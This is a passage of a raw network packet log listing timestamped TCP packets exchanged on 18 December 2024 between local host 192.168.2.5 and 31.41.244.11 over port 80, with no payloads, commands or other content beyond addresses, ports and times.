Dec 18, 2024 19:08:47.716706991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.716959000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.717003107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.733180046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.733252048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.733596087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.733643055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.749684095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.749764919 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.749789953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.749834061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.766087055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.766105890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.766334057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.782402039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.782470942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.782481909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.782525063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.798824072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.798893929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.798922062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.798965931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.815284967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.815363884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.815567970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.815644979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.831707001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.831801891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.831898928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.831953049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.844829082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.844887972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.844917059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.845072985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.857969046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.858041048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.858251095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.858406067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.871110916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.871160984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.871305943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.871356010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.884289980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.884361029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.884474993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.884520054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.897437096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.897485018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.897783041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.897840023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.910563946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.910619020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.910655022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.910700083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.923881054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.923938036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.924026012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.924067974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.936979055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.937036037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.937256098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.937309027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.949978113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.950045109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.950304985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.950356007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.963222027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.963282108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.963335037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.963411093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.976358891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.976429939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.976784945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.976834059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.989561081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.989625931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.989727974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.989778996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.002621889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.002748966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.002754927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.002794981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.015710115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.015778065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.016726017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.016778946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.028543949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.028605938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.028733969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.028790951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.041115046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.041198015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.041275024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.041327000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.053366899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.053435087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.053498030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.053540945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.065395117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.065445900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.065509081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.065553904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.077208996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.077369928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.077388048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.077434063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.088834047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.088911057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.088944912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.088990927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.100250959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.100310087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.100327015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.100363016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.111284971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.111344099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.111607075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.111665964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.122260094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.122347116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.122406960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.122458935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.133038998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.133109093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.133183002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.133230925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.143655062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.143744946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.143747091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.143800020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.154243946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.154424906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.154932976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.154989958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.164854050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.164916992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.164978027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.165025949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.175514936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.175578117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.176189899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.176244974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.186184883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.186249018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.186284065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.186332941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.196806908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.196898937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.196990013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.207339048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.207386017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.207417011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.207467079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.217601061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.217658043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.218290091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.218343973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.228049040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.228101969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.228317976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.228367090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.238425016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.238478899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.238497019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.238544941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.248658895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.248707056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.248872042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.248930931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.258866072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.258920908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.259073973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.259123087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.268786907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.268837929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.268908978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.268960953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.278609991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.278664112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.278696060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.278769970 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.288230896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.288286924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.288316011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.288364887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.297812939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.297864914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.297943115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.297996044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.307276011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.307357073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.307391882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.307444096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.316528082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.316589117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.316653013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.316695929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.325750113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.325817108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.325826883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.325879097 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.334757090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.334821939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.334831953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.334872007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.344213963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.344283104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.344342947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.344398022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.352773905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.352840900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.352859974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.353010893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.361498117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.361571074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.361597061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.361649036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.370276928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.370332003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.370356083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.370388031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.378969908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.379034042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.379066944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.379115105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.387830019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.387886047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.387913942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.387959957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.396425009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.396485090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.396528959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.396574020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.404795885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.404851913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.404913902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.404956102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.413264036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.413325071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.413364887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.413408995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.421753883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.421816111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.421866894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.421916008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.430099964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.430192947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.430214882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.430243015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.438469887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.438565969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.438595057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.438632011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.447137117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.447197914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.447205067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.447248936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.454978943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.455049992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.455053091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.455118895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.463130951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.463191032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.463212013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.463258028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.471220016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.471275091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.471318007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.471370935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.479346991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.479439020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.479473114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.479505062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.487595081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.487628937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.487669945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.487694979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.495610952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.495662928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.495748043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.495794058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.503767967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.503819942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.503990889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.504034996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.511759996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.511815071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.511837959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.511881113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.519790888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.519853115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.519864082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.519908905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.527457952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.527517080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.527586937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.527628899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.534965038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.535022020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.535090923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.535136938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.542654037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.542716980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.542747021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.542794943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.549897909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.549952030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.550014973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.550062895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.557219028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.557286978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.557317972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.557367086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.564594984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.564663887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.564687967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.564779997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.571717978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.571788073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.571824074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.571871042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.578967094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.579005003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.579082966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.585963964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.586030960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.586088896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.586138964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.593023062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.593096972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.593136072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.593183994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.600063086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.600145102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.600238085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.600291014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.607239962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.607299089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:48.607372046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:48.607372046 CET	49739	80	192.168.2.5	31.41.244.11
